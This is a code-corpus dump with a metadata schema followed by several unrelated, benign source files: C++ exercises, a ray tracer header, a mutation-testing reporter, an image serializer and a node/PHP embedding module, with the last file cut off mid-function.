hexsha
stringlengths
40
40
size
int64
7
1.05M
ext
stringclasses
13 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
269
max_stars_repo_name
stringlengths
5
108
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
9
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
269
max_issues_repo_name
stringlengths
5
116
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
9
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
269
max_forks_repo_name
stringlengths
5
116
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
9
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
7
1.05M
avg_line_length
float64
1.21
330k
max_line_length
int64
6
990k
alphanum_fraction
float64
0.01
0.99
author_id
stringlengths
2
40
2af49f6548a23e9d8075e31edfcdcec88ff0e80b
2,167
cpp
C++
nd-coursework/books/cpp/BeginningC++17/Chapter07/Exercises/Exercise7_02/Exercise7_02.cpp
crdrisko/nd-grad
f1765e4f24d7a4b1b3a76c64eb8d88bcca0eaa44
[ "MIT" ]
1
2020-09-26T12:38:55.000Z
2020-09-26T12:38:55.000Z
nd-coursework/books/cpp/BeginningC++17/Chapter07/Exercises/Exercise7_02/Exercise7_02.cpp
crdrisko/nd-research
f1765e4f24d7a4b1b3a76c64eb8d88bcca0eaa44
[ "MIT" ]
null
null
null
nd-coursework/books/cpp/BeginningC++17/Chapter07/Exercises/Exercise7_02/Exercise7_02.cpp
crdrisko/nd-research
f1765e4f24d7a4b1b3a76c64eb8d88bcca0eaa44
[ "MIT" ]
null
null
null
// Copyright (c) 2019-2021 Cody R. Drisko. All rights reserved. // Licensed under the MIT License. See the LICENSE file in the project root for more information. // // Name: Exercise7_02.cpp // Author: cdrisko // Date: 08/02/2020-13:27:53 // Description: Determining all unique words from a user's input over an arbitrary number of lines #include <iomanip> #include <iostream> #include <string> #include <vector> int main() { std::string text; std::cout << "Enter some text terminated by *:\n"; std::getline(std::cin, text, '*'); std::vector<std::string> words; std::vector<unsigned int> counts; std::size_t maxLength {}; const std::string separators { " ,;:.\"!?'\n" }; std::size_t start { text.find_first_not_of(separators) }; while (start != std::string::npos) { std::size_t end = text.find_first_of(separators, start + 1); if (end == std::string::npos) end = text.length(); bool wordMatch {false}; std::string currentWord {text.substr(start, end - start)}; // Determine if the word has already been added to the vector for (std::size_t i {}; i < words.size(); ++i) { if (currentWord == words[i]) { wordMatch = true; ++counts[i]; break; } } if (!wordMatch) { words.push_back(currentWord); counts.push_back(1); } start = text.find_first_not_of(separators, end + 1); } // Determine max length for formatting purposes for (const auto& word : words) if (word.length() > maxLength) maxLength = word.length(); // Output the data 3 to a line, left aligned for the word, right aligned for the count for (std::size_t i {}, count {}; i < words.size(); ++i) { std::cout << std::setw(maxLength) << std::left << std::setw(maxLength) << words[i] << std::setw(4) << std::right << counts[i] << " "; if (++count == 3) { std::cout << std::endl; count = 0; } } std::cout << std::endl; }
28.142857
98
0.551915
crdrisko
2af4b636d42086a487f00c81ef1659e958235d8d
801
hpp
C++
rt/rtweekend.hpp
rrobio/zr_ren
4ffc61320100e1917c42a8155b45ad2d50f7040a
[ "MIT" ]
null
null
null
rt/rtweekend.hpp
rrobio/zr_ren
4ffc61320100e1917c42a8155b45ad2d50f7040a
[ "MIT" ]
null
null
null
rt/rtweekend.hpp
rrobio/zr_ren
4ffc61320100e1917c42a8155b45ad2d50f7040a
[ "MIT" ]
null
null
null
#pragma once #include <cmath> #include <cstdlib> #include <limits> #include <memory> #include <random> using std::shared_ptr; using std::make_shared; using std::sqrt; double const infinity = std::numeric_limits<double>::infinity(); double const pi = 3.1415926535897932385; inline double degrees_to_radians(double degrees) { return degrees * pi / 180.0; } inline double random_double() { static std::uniform_real_distribution<double> distribution(0.0, 1.0); static std::mt19937 generator; return distribution(generator); } inline double random_double(double min, double max) { return min + (max-min)*random_double(); } inline double clamp(double x, double min, double max) { if (x < min) return min; if (x > max) return max; return x; } #include "ray.hpp" #include "vec3.hpp"
18.627907
73
0.722846
rrobio
2af5ec5a9cad1c4e5d24664c334e31df1860e8d7
2,174
cpp
C++
ELV_wrapper/item.cpp
solhuebner/ID-18-Elventure
90419d7dfbc852b3512a06a43843aeb899465256
[ "MIT" ]
1
2020-09-05T20:13:25.000Z
2020-09-05T20:13:25.000Z
ELV_wrapper/item.cpp
solhuebner/ID-18-Elventure
90419d7dfbc852b3512a06a43843aeb899465256
[ "MIT" ]
null
null
null
ELV_wrapper/item.cpp
solhuebner/ID-18-Elventure
90419d7dfbc852b3512a06a43843aeb899465256
[ "MIT" ]
1
2020-06-13T13:39:09.000Z
2020-06-13T13:39:09.000Z
#include <avr/pgmspace.h> #include "ArduboyGamby.h" #include "item.h" #include "map.h" #include "map_bitmap.h" #include "item_bitmap.h" #include "room.h" extern GambyGraphicsMode gamby; #define STEP_LENGTH 4 #define SIZEOF_ITEM_RECORD 10 RoomElement moveItem(RoomElement element) { if (element.state > STATE_HIDDEN) { //erase the old item image (using blank map tile) gamby.drawSprite(element.x, element.y, map_bitmap); element.step++; if (element.step > 2) element.step = 1; switch (element.state) { case STATE_MOVE_UP: element.state = STATE_HIDDEN; if (element.y > 4) { if (checkMapRoomMove(element.x, element.y - 4) == 0) { element.y -= STEP_LENGTH; element.state = STATE_MOVE_UP; } } break; case STATE_MOVE_DOWN: element.state = STATE_HIDDEN; if (element.y < 48) { if (checkMapRoomMove(element.x, element.y + 8) == 0) { element.y += STEP_LENGTH; element.state = STATE_MOVE_DOWN; } } break; case STATE_MOVE_LEFT: element.state = STATE_HIDDEN; if (element.x > 4) { if (checkMapRoomMove(element.x - 4, element.y) == 0) { element.x -= STEP_LENGTH; element.state = STATE_MOVE_LEFT; } } break; case STATE_MOVE_RIGHT: element.state = STATE_HIDDEN; if (element.x < 80) { if (checkMapRoomMove(element.x + 12, element.y) == 0) { element.x += STEP_LENGTH; element.state = STATE_MOVE_RIGHT; } } break; } //draw new item bitmap if (element.state > STATE_HIDDEN) { gamby.drawSprite(element.x, element.y, item_bitmap, (element.type - 51) + element.step); } //decrement counter, if active if (element.counter > 0) element.counter--; } return element; } RoomElement hitItem(RoomElement element) { //erase the old item image (using blank map tile) gamby.drawSprite(element.x, element.y, map_bitmap); element.state = STATE_HIDDEN; return element; }
22.645833
94
0.585097
solhuebner
2afa1224522643dc09cbc8279278f7cc85d8b8b4
463
cpp
C++
compressing-algorithms/BitInputStream.cpp
YBelikov/compression-algortihms
33b8a344b3e7045618061f8511f17dfe6110189e
[ "MIT" ]
1
2020-08-25T11:01:07.000Z
2020-08-25T11:01:07.000Z
compressing-algorithms/BitInputStream.cpp
YBelikov/compression-algortihms
33b8a344b3e7045618061f8511f17dfe6110189e
[ "MIT" ]
null
null
null
compressing-algorithms/BitInputStream.cpp
YBelikov/compression-algortihms
33b8a344b3e7045618061f8511f17dfe6110189e
[ "MIT" ]
null
null
null
#include "BitInputStream.h" #include <stdexcept> int BitInputStream::readWithoutEOF() { int bit = read(); if (bit != -1) { return bit; } else { throw std::domain_error("Reach to the end of file"); } } int BitInputStream::read() { if (currentByte == -1) { return -1; } if (bitsRemains == 0) { currentByte = inputStream.get(); if (currentByte == EOF) return -1; bitsRemains = 8; } --bitsRemains; return (currentByte >> bitsRemains) & 1; }
18.52
54
0.632829
YBelikov
2afa200b89ca95727a85619a6b17c74eda94a1c6
240
cpp
C++
libboost-container-hash/tests/basics/driver.cpp
build2-packaging/boost
203d505dd3ba04ea50785bc8b247a295db5fc718
[ "BSL-1.0" ]
4
2021-02-23T11:24:33.000Z
2021-09-11T20:10:46.000Z
libboost-container-hash/tests/basics/driver.cpp
build2-packaging/boost
203d505dd3ba04ea50785bc8b247a295db5fc718
[ "BSL-1.0" ]
null
null
null
libboost-container-hash/tests/basics/driver.cpp
build2-packaging/boost
203d505dd3ba04ea50785bc8b247a295db5fc718
[ "BSL-1.0" ]
null
null
null
#include <boost/container_hash/extensions.hpp> #include <boost/container_hash/hash_fwd.hpp> #include <boost/container_hash/hash.hpp> #include <boost/functional/hash_fwd.hpp> #include <boost/functional/hash.hpp> int main () { return 0; }
20
46
0.770833
build2-packaging
2afacb9a31068fdb0add18d2d1c43d8190accb51
149
cpp
C++
explicit/toposort.cpp
lilissun/spa
d44974c51017691ff4ada29c212c54bb0ee931c2
[ "Apache-2.0" ]
null
null
null
explicit/toposort.cpp
lilissun/spa
d44974c51017691ff4ada29c212c54bb0ee931c2
[ "Apache-2.0" ]
null
null
null
explicit/toposort.cpp
lilissun/spa
d44974c51017691ff4ada29c212c54bb0ee931c2
[ "Apache-2.0" ]
1
2020-04-24T02:28:32.000Z
2020-04-24T02:28:32.000Z
// // toposort.cpp // explicit // // Created by Li Li on 25/8/13. // Copyright (c) 2013 Lilissun. All rights reserved. // #include "toposort.h"
14.9
53
0.630872
lilissun
630847f7736cc3f10aebf36fb12c636c4706a0bc
190
cpp
C++
牛客/练习赛/39-A.cpp
LauZyHou/-
66c047fe68409c73a077eae561cf82b081cf8e45
[ "MIT" ]
7
2019-02-25T13:15:00.000Z
2021-12-21T22:08:39.000Z
牛客/练习赛/39-A.cpp
LauZyHou/-
66c047fe68409c73a077eae561cf82b081cf8e45
[ "MIT" ]
null
null
null
牛客/练习赛/39-A.cpp
LauZyHou/-
66c047fe68409c73a077eae561cf82b081cf8e45
[ "MIT" ]
1
2019-04-03T06:12:46.000Z
2019-04-03T06:12:46.000Z
#include<bits/stdc++.h> using namespace std; long long n,sx,sy,ex,ey; int main(){ cin>>n>>sx>>sy>>ex>>ey; long long a=abs(ex-sx); long long b=abs(ey-sy); cout<<max(a,b); return 0; }
13.571429
24
0.615789
LauZyHou
63085f41f985a57944532103b7134c8b94bc6fe1
4,456
cc
C++
number-of-islands.cc
sonald/leetcode
3c34e2779a736acc880876f4244f1becd7b199ed
[ "MIT" ]
null
null
null
number-of-islands.cc
sonald/leetcode
3c34e2779a736acc880876f4244f1becd7b199ed
[ "MIT" ]
null
null
null
number-of-islands.cc
sonald/leetcode
3c34e2779a736acc880876f4244f1becd7b199ed
[ "MIT" ]
null
null
null
#include <iostream> #include <vector> #include <cmath> #include <random> #include <set> #include <map> #include <unordered_map> #include <unordered_set> #include <queue> #include <iomanip> #include <algorithm> using namespace std; template<class T, class S> ostream& operator<<(ostream& os, const unordered_map<T, S>& v) { bool f = true; os << "{"; for (auto& t: v) { if (f) os << "(" << t.first << "," << t.second << ")"; else os << "," << "(" << t.first << "," << t.second << ")"; } return os << "}"; } template <class T> ostream& operator<<(ostream& os, const vector<T>& vs) { os << "["; for (auto& s: vs) { os << std::setw(3) << s << " "; } return os <<"]\n"; } class Solution { public: int numIslands(vector<vector<char>>& grid) { int c = 0; int n = grid.size(); if (n == 0) return 0; int m = grid[0].size(); for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { if (grid[i][j] == '1') { c++; dfs(grid, i, j); } } } return c; } void dfs(vector<vector<char>>& grid, int i, int j) { int n = grid.size(); int m = grid[0].size(); if (i < 0 || i >= n || j < 0 || j >= m || grid[i][j] == '0') { return; } grid[i][j] = '0'; if (i > 0 && grid[i-1][j] == '1') { dfs(grid, i-1, j); } if (i < n-1 && grid[i+1][j] == '1') { dfs(grid, i+1, j); } if (j > 0 && grid[i][j-1] == '1') { dfs(grid, i, j-1); } if (j < m-1 && grid[i][j+1] == '1') { dfs(grid, i, j+1); } } }; //flood fill class Solution2 { public: int numIslands(vector<vector<char>>& grid) { int c = 0; int n = grid.size(); if (n == 0) return 0; int m = grid[0].size(); vector<vector<bool>> b(n, vector<bool>(m, false)); for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { if (!b[i][j] && grid[i][j] == '1') { c++; b[i][j] = true; helper(grid, b, i, j, c); } } } return c; } void helper(vector<vector<char>>& grid, vector<vector<bool>>& b, int i, int j, int &c) { int n = grid.size(); int m = grid[0].size(); if (i > 0 && !b[i-1][j] && grid[i-1][j] == '1') { b[i-1][j] = true; helper(grid, b, i-1, j, c); } if (i < n-1 && !b[i+1][j] && grid[i+1][j] == '1') { b[i+1][j] = true; helper(grid, b, i+1, j, c); } if (j > 0 && !b[i][j-1] && grid[i][j-1] == '1') { b[i][j-1] = true; helper(grid, b, i, j-1, c); } if (j < m-1 && !b[i][j+1] && grid[i][j+1] == '1') { b[i][j+1] = true; helper(grid, b, i, j+1, c); } } }; int main(int argc, char *argv[]) { { vector<vector<char>> grid = { {'1', '1', '1', '1', '0'}, {'1', '1', '0', '1', '0'}, {'1', '1', '0', '0', '0'}, {'0', '0', '0', '0', '0'}, }; cout << Solution().numIslands(grid) << std::endl; // 1 cout << Solution2().numIslands(grid) << std::endl; // 1 } { vector<vector<char>> grid = { {'1', '1', '0', '0', '0'}, {'1', '1', '0', '0', '0'}, {'0', '0', '1', '0', '0'}, {'0', '0', '0', '1', '1'}, }; cout << Solution().numIslands(grid) << std::endl; // 3 cout << Solution2().numIslands(grid) << std::endl; // 3 } { vector<vector<char>> grid = { {'0', '0', '0', '0', '0'}, {'0', '1', '1', '1', '0'}, {'1', '0', '0', '1', '0'}, {'1', '1', '0', '0', '1'}, {'0', '0', '0', '0', '1'}, }; cout << Solution().numIslands(grid) << std::endl; // 3 cout << Solution2().numIslands(grid) << std::endl; // 3 } { vector<vector<char>> grid = { {'1', '1', '1'}, {'0', '1', '0'}, {'1', '1', '1'}, }; cout << Solution().numIslands(grid) << std::endl; // 1 cout << Solution2().numIslands(grid) << std::endl; // 1 } return 0; }
23.956989
92
0.360862
sonald
debabfa9624630c30a6bad131bbd73fc8a1d91e2
1,196
cpp
C++
data-structure/A1028/main.cpp
pipo-chen/play-ptat
d97d0bafcb6ef0a32f4969e0adffd400c673bf77
[ "MIT" ]
1
2021-05-26T23:14:01.000Z
2021-05-26T23:14:01.000Z
data-structure/A1028/main.cpp
pipo-chen/play-pat
4968f7f1db3fdb48925f5c29574cdc72339c7233
[ "MIT" ]
null
null
null
data-structure/A1028/main.cpp
pipo-chen/play-pat
4968f7f1db3fdb48925f5c29574cdc72339c7233
[ "MIT" ]
null
null
null
// // main.cpp // A1028 // // Created by mark on 2021/5/27. // Copyright © 2021 xihe. All rights reserved. // #include <iostream> #include <cstring> #include <algorithm> using namespace :: std; struct Student { char name[10]; long id; int grade; }stu[100010]; bool cmp_id(Student a, Student b) { //准考证从小到大排 return a.id < b.id; } bool cmp_name(Student a, Student b) { //按名字字典序从小到大排 if (strcmp(a.name, b.name) != 0) return strcmp(a.name, b.name) < 0; return a.id < b.id; } bool cmp_grade(Student a, Student b) { //按分数从小到大排,分数相同,按准考证从小到大排 if (a.grade != b.grade) return a.grade < b.grade; return a.id < b.id; } int main(int argc, const char * argv[]) { int n, c; scanf("%d %d", &n, &c); for (int i = 0; i < n; i++) { //输出id 的时候 前面不足 就补零 scanf("%ld %s %d",&stu[i].id, stu[i].name, &stu[i].grade); } if (c == 1) { sort(stu, stu + n, cmp_id); } else if (c == 2) { sort(stu, stu + n, cmp_name); } else { sort(stu, stu + n, cmp_grade); } for (int i = 0; i < n; i++) { printf("%06ld %s %d\n",stu[i].id, stu[i].name, stu[i].grade); } return 0; }
21.357143
69
0.529264
pipo-chen
debb2ff348c5c7d9dc5bee9b1ee9d7bbff2431e1
1,870
cpp
C++
lib/Reporters/GithubAnnotationsReporter.cpp
m42e/mull
32c6416d1757ea19c345029ee7a83e5769f231ef
[ "Apache-2.0" ]
null
null
null
lib/Reporters/GithubAnnotationsReporter.cpp
m42e/mull
32c6416d1757ea19c345029ee7a83e5769f231ef
[ "Apache-2.0" ]
null
null
null
lib/Reporters/GithubAnnotationsReporter.cpp
m42e/mull
32c6416d1757ea19c345029ee7a83e5769f231ef
[ "Apache-2.0" ]
null
null
null
#include "mull/Reporters/GithubAnnotationsReporter.h" #include "mull/Bitcode.h" #include "mull/Diagnostics/Diagnostics.h" #include "mull/ExecutionResult.h" #include "mull/Mutant.h" #include "mull/Mutators/Mutator.h" #include "mull/Mutators/MutatorsFactory.h" #include "mull/Result.h" #include "mull/SourceLocation.h" #include "mull/Reporters/SourceCodeReader.h" #include <sstream> #include <string> using namespace mull; GithubAnnotationsReporter::GithubAnnotationsReporter(Diagnostics &diagnostics) : diagnostics(diagnostics){ } void mull::GithubAnnotationsReporter::reportResults(const Result &result) { MutatorsFactory factory(diagnostics); factory.init(); std::string level="warning"; diagnostics.info("Github Annotations:"); for (auto &mutationResult : result.getMutationResults()) { const ExecutionResult mutationExecutionResult = mutationResult->getExecutionResult(); const auto mutant = *mutationResult->getMutant(); const auto& sourceLocation = mutant.getSourceLocation(); const auto& sourceEndLocation = mutant.getEndLocation(); const auto mutator = factory.getMutator(mutant.getMutatorIdentifier()); if (mutationExecutionResult.status != ExecutionStatus::Passed){ continue; } std::stringstream stringstream; stringstream << "::" << level << " " << "file=" << sourceLocation.filePath << "," << "line=" << sourceLocation.line << "," << "col=" << sourceLocation.column << "," << "endLine=" << sourceEndLocation.line << "," << "endColumn=" << sourceEndLocation.column << "::" << "[" << mutant.getMutatorIdentifier() << "] " << mutator->getDiagnostics() << "\n"; fprintf(stdout, "%s", stringstream.str().c_str()); fflush(stdout); } }
32.807018
89
0.654545
m42e
debb66d3c8b37c7e708e87c7d52cee7f82c2417d
5,711
cpp
C++
catkin_ws/src/srrg2_core/srrg2_core/src/srrg_image/image_data.cpp
laaners/progetto-labiagi_pick_e_delivery
3453bfbc1dd7562c78ba06c0f79b069b0a952c0e
[ "MIT" ]
5
2020-03-11T14:36:13.000Z
2021-09-09T09:01:15.000Z
catkin_ws/src/srrg2_core/srrg2_core/src/srrg_image/image_data.cpp
laaners/progetto-labiagi_pick_e_delivery
3453bfbc1dd7562c78ba06c0f79b069b0a952c0e
[ "MIT" ]
1
2020-06-07T17:25:04.000Z
2020-07-15T07:36:10.000Z
catkin_ws/src/srrg2_core/srrg2_core/src/srrg_image/image_data.cpp
laaners/progetto-labiagi_pick_e_delivery
3453bfbc1dd7562c78ba06c0f79b069b0a952c0e
[ "MIT" ]
2
2020-11-30T08:17:53.000Z
2021-06-19T05:07:07.000Z
#include "image_data.h" #include <opencv2/opencv.hpp> const std::string DAT_EXTENSION = "dat"; const std::string PNG_EXTENSION = "png"; const std::string PGM_EXTENSION = "pgm"; namespace srrg2_core { using namespace std; ImageData::ImageData() : BLOB() { _image_ptr.reset(0); } bool ImageData::read(std::istream& is) { // ia WHYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY // BaseImage* _image = image(); std::vector<unsigned char> buf; const int block_size = 4096; int bytes_read = 0; while (is) { size_t old_size = buf.size(); buf.resize(buf.size() + block_size); is.read(reinterpret_cast<char*>(&buf[old_size]), block_size); bytes_read += is.gcount(); } if (bytes_read > 0) { buf.resize(bytes_read); // std::cerr << "buf size: " << buf.size() << std::endl; cv::Mat read_image = cv::imdecode(buf, CV_LOAD_IMAGE_ANYDEPTH | CV_LOAD_IMAGE_ANYCOLOR); if (!read_image.empty()) { // std::cerr << "converting: " << std::endl; if (_image_ptr == nullptr) { // _image = BaseImage::newImagefromCv(read_image); // _image_ptr.reset(_image); _image_ptr.reset(BaseImage::newImagefromCv(read_image)); } else { // _image->fromCv(read_image); _image_ptr->fromCv(read_image); } return true; } if (_decodeImage(buf)) { return true; } } return false; } void ImageData::write(std::ostream& os) const { assert(_image_ptr != nullptr && "ImageData::write|ERROR, invalid image"); // ia WHYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY // const BaseImage* _image = image(); std::vector<unsigned char> buf; cv::Mat image_to_write; if (_image_ptr->type() == TYPE_UNKNOWN) { throw std::runtime_error("Unknown image type!"); } _image_ptr->toCv(image_to_write); if (_image_ptr->type() == TYPE_8UC3 || _image_ptr->type() == TYPE_32FC3) { cv::cvtColor(image_to_write, image_to_write, CV_BGR2RGB); } if (const_extension() == DAT_EXTENSION) { _encodeImage(os); } else { cv::imencode(std::string(".") + const_extension(), image_to_write, buf); os.write(reinterpret_cast<char*>(&buf[0]), buf.size()); } } void ImageData::_encodeImage(std::ostream& os_) const { assert(_image_ptr != nullptr && "ImageData::_encodeImage|ERROR, invalid image"); // ia WHYYYYYYYYYYYYYYYY // const BaseImage* _image = image(); ImageHeader header; header.type = _image_ptr->type(); header.rows = _image_ptr->rows(); header.cols = _image_ptr->cols(); const std::size_t size = header.rows * header.cols; os_.write((char*) &header, sizeof(ImageHeader)); const std::size_t element_size = CV_ELEM_SIZE(_image_ptr->type()); // Syscall param writev(vector[...]) points to uninitialised byte(s) os_.write(_image_ptr->rawData(), size * element_size); //-----------???-------------- } bool ImageData::_decodeImage(const std::vector<unsigned char>& buffer_) { // ia read the header ImageHeader* header = (ImageHeader*) &buffer_[0]; std::vector<unsigned char> data_buffer(buffer_.begin() + sizeof(ImageHeader), buffer_.end()); // const std::size_t element_size = CV_ELEM_SIZE(header->type); // const std::size_t vector_size = header->rows*header->cols; // ia working with smart pointer, forget the goddamn .get method // ia Mircolosi master of smart pointers from what I see below // BaseImage* _image = _image_ptr.get(); // if (_image) { // delete _image; // } // _image = 0; int rows = header->rows; int cols = header->cols; switch (header->type) { case TYPE_8UC1: _image_ptr.reset(new ImageUInt8(rows, cols)); break; case TYPE_16UC1: _image_ptr.reset(new ImageUInt16(rows, cols)); break; case TYPE_32SC1: _image_ptr.reset(new ImageInt(rows, cols)); break; case TYPE_32FC1: _image_ptr.reset(new ImageFloat(rows, cols)); break; case TYPE_64FC1: _image_ptr.reset(new ImageDouble(rows, cols)); break; case TYPE_8UC3: _image_ptr.reset(new ImageVector3uc(rows, cols)); break; case TYPE_32FC3: _image_ptr.reset(new ImageVector3f(rows, cols)); break; case TYPE_8UC4: _image_ptr.reset(new ImageVector4uc(rows, cols)); break; case TYPE_32FC4: _image_ptr.reset(new ImageVector4f(rows, cols)); break; default: throw std::runtime_error("ImageData::_decodeImage|ERROR, unknown type" + std::to_string(header->type) + " ]"); return false; } _image_ptr->fromBuffer(&data_buffer[0]); return true; } // TODO make extension() const in BLOB and avoid this shit down here const std::string& ImageData::const_extension() const { // ia WHYYYYYYYYYYYYYYY // const BaseImage* _image = image(); switch (_image_ptr->type()) { case TYPE_8UC3: case TYPE_8UC1: return PNG_EXTENSION; case TYPE_16UC1: return PGM_EXTENSION; default: return DAT_EXTENSION; } } const std::string& ImageData::extension() { return const_extension(); } BOSS_REGISTER_BLOB(ImageData) BOSS_REGISTER_BLOB(ImageUInt8Data) BOSS_REGISTER_BLOB(ImageUInt16Data) BOSS_REGISTER_BLOB(ImageIntData) BOSS_REGISTER_BLOB(ImageFloatData) BOSS_REGISTER_BLOB(ImageDoubleData) BOSS_REGISTER_BLOB(ImageVector3ucData) BOSS_REGISTER_BLOB(ImageVector3fData) BOSS_REGISTER_BLOB(ImageVector4ucData) BOSS_REGISTER_BLOB(ImageVector4fData) } // namespace srrg2_core
31.905028
97
0.634915
laaners
debee1f4abf1a11091e5d92b0ed344428474a607
1,765
cpp
C++
Solutions/bitmap.cpp
sjnonweb/spoj
72cf2afcf4466f1356a8646b5e4f925144cb9172
[ "MIT" ]
1
2016-10-05T20:07:03.000Z
2016-10-05T20:07:03.000Z
Solutions/bitmap.cpp
sjnonweb/spoj
72cf2afcf4466f1356a8646b5e4f925144cb9172
[ "MIT" ]
null
null
null
Solutions/bitmap.cpp
sjnonweb/spoj
72cf2afcf4466f1356a8646b5e4f925144cb9172
[ "MIT" ]
null
null
null
#include <iostream> #include <algorithm> #include <vector> #include <queue> using namespace std; int mat[200][200]; void bfs(int,int); int main() { int test; cin>>test; while(test--) { vector < pair <int,int> > vc; int m,n; cin>>m>>n; int i,j; char ch; for(i=0;i<m;i++) { for(j=0;j<n;j++) { cin>>ch; if(ch=='1') { mat[i][j]=-1; vc.push_back(make_pair(i,j)); } else mat[i][j]=1000; } } for(i=0;i<vc.size();i++) { bfs(vc[i].first,vc[i].second); } for(i=0;i<m;i++) { for(j=0;j<n;j++) { cout<<mat[i][j]<<" "; } cout<<endl; } } return 0; } void bfs(int i, int j) { int distance; mat[i][j]=0; queue<int> q; q.push(i); q.push(j); while(!q.empty()) { int x=q.front(); q.pop(); int y=q.front(); q.pop(); distance=mat[x][y]+1; if(y-1>=0 && distance<mat[x][y-1]) { mat[x][y-1]=distance; q.push(x); q.push(y-1); } if(y+1>=0 && distance<mat[x][y+1]) { mat[x][y+1]=distance; q.push(x); q.push(y+1); } if(x-1>=0 && distance<mat[x-1][y]) { mat[x-1][y]=distance; q.push(x-1); q.push(y); } if(x+1>=0 && distance<mat[x+1][y]) { mat[x+1][y]=distance; q.push(x+1); q.push(y); } } }
19.184783
49
0.338244
sjnonweb
dec3f5e72bbf5cc0e80336eeda77f3e074ca65e7
16,314
cc
C++
examples/chat/node_modules/php-embed/src/node_php_embed.cc
jehovahsays/MMOSOCKETHTML5JSCHAT
3ae5956184ee1a1b63b1a8083fd3a43edd30dffd
[ "MIT" ]
34
2015-10-28T06:08:50.000Z
2021-12-22T06:34:28.000Z
examples/chat/node_modules/php-embed/src/node_php_embed.cc
jehovahsays/MMOSOCKETHTML5JSCHAT
3ae5956184ee1a1b63b1a8083fd3a43edd30dffd
[ "MIT" ]
3
2016-02-15T22:09:42.000Z
2019-10-06T23:19:01.000Z
examples/chat/node_modules/php-embed/src/node_php_embed.cc
jehovahsays/MMOSOCKETHTML5JSCHAT
3ae5956184ee1a1b63b1a8083fd3a43edd30dffd
[ "MIT" ]
6
2015-11-19T14:27:34.000Z
2019-10-09T23:36:51.000Z
// Main entry point: this is the node module declaration, contains // the PhpRequestWorker which shuttles messages between node and PHP, // and contains the SAPI hooks to configure PHP to talk to node. // Copyright (c) 2015 C. Scott Ananian <cscott@cscott.net> #include "src/node_php_embed.h" #include <dlfcn.h> // for dlopen() #include <string> #include <unordered_map> #include "nan.h" extern "C" { #include "sapi/embed/php_embed.h" #include "Zend/zend_exceptions.h" #include "Zend/zend_interfaces.h" #include "ext/standard/head.h" #include "ext/standard/info.h" } #include "src/macros.h" #include "src/node_php_jsbuffer_class.h" #include "src/node_php_jsobject_class.h" #include "src/node_php_jsserver_class.h" #include "src/node_php_jswait_class.h" #include "src/phprequestworker.h" #include "src/values.h" using node_php_embed::MapperChannel; using node_php_embed::OwnershipType; using node_php_embed::PhpRequestWorker; using node_php_embed::Value; using node_php_embed::ZVal; using node_php_embed::node_php_jsbuffer; using node_php_embed::node_php_jsobject_call_method; static void node_php_embed_ensure_init(void); static char *node_php_embed_startup_file; static char *node_php_embed_extension_dir; ZEND_DECLARE_MODULE_GLOBALS(node_php_embed); /* PHP extension metadata */ extern zend_module_entry node_php_embed_module_entry; static int node_php_embed_startup(sapi_module_struct *sapi_module) { TRACE(">"); // Remove the "hardcoded INI" entries if (php_embed_module.ini_entries) { free(php_embed_module.ini_entries); } php_embed_module.ini_entries = NULL; #ifndef EXTERNAL_LIBPHP5 // Add an appropriate "extension_dir" directive. // (Unless we're linking against an external libphp5.so, in which case // we'll assume it knows best where its own extensions are.) if (node_php_embed_extension_dir) { std::string ini("extension_dir="); ini += node_php_embed_extension_dir; ini += "\n"; php_embed_module.ini_entries = strdup(ini.c_str()); } #endif // Proceed with startup. if (php_module_startup(sapi_module, &node_php_embed_module_entry, 1) == FAILURE) { return FAILURE; } TRACE("<"); return SUCCESS; } static int node_php_embed_ub_write(const char *str, unsigned int str_length TSRMLS_DC) { TRACE(">"); // Fetch the MapperChannel for this thread. PhpRequestWorker *worker = NODE_PHP_EMBED_G(worker); MapperChannel *channel = NODE_PHP_EMBED_G(channel); if (!worker) { return str_length; /* in module shutdown */ } ZVal stream{ZEND_FILE_LINE_C}, retval{ZEND_FILE_LINE_C}; worker->GetStream().ToPhp(channel, stream TSRMLS_CC); // Use plain zval to avoid allocating copy of method name. zval method; INIT_ZVAL(method); ZVAL_STRINGL(&method, "write", 5, 0); // Special buffer type to pass `str` as a node buffer and avoid copying. zval buffer, *args[] = { &buffer }; INIT_ZVAL(buffer); node_php_embed::node_php_jsbuffer_create(&buffer, str, str_length, OwnershipType::NOT_OWNED TSRMLS_CC); call_user_function(EG(function_table), stream.PtrPtr(), &method, retval.Ptr(), 1, args TSRMLS_CC); if (EG(exception)) { NPE_ERROR("- exception caught (ignoring)"); zend_clear_exception(TSRMLS_C); } zval_dtor(&buffer); TRACE("<"); return str_length; } static void node_php_embed_flush(void *server_context) { // Invoke stream.write with a PHP "JsWait" callback, which causes PHP // to block until the callback is handled. TRACE(">"); TSRMLS_FETCH(); // Fetch the MapperChannel for this thread. PhpRequestWorker *worker = NODE_PHP_EMBED_G(worker); MapperChannel *channel = NODE_PHP_EMBED_G(channel); if (!worker) { return; /* we're in module shutdown, no request any more */ } ZVal stream{ZEND_FILE_LINE_C}, retval{ZEND_FILE_LINE_C}; worker->GetStream().ToPhp(channel, stream TSRMLS_CC); // Use plain zval to avoid allocating copy of method name. zval method; INIT_ZVAL(method); ZVAL_STRINGL(&method, "write", 5, 0); // Special buffer type to pass `str` as a node buffer and avoid copying. zval buffer; INIT_ZVAL(buffer); node_php_embed::node_php_jsbuffer_create(&buffer, "", 0, OwnershipType::NOT_OWNED TSRMLS_CC); // Create the special JsWait object. zval wait; INIT_ZVAL(wait); node_php_embed::node_php_jswait_create(&wait TSRMLS_CC); zval *args[] = { &buffer, &wait }; call_user_function(EG(function_table), stream.PtrPtr(), &method, retval.Ptr(), 2, args 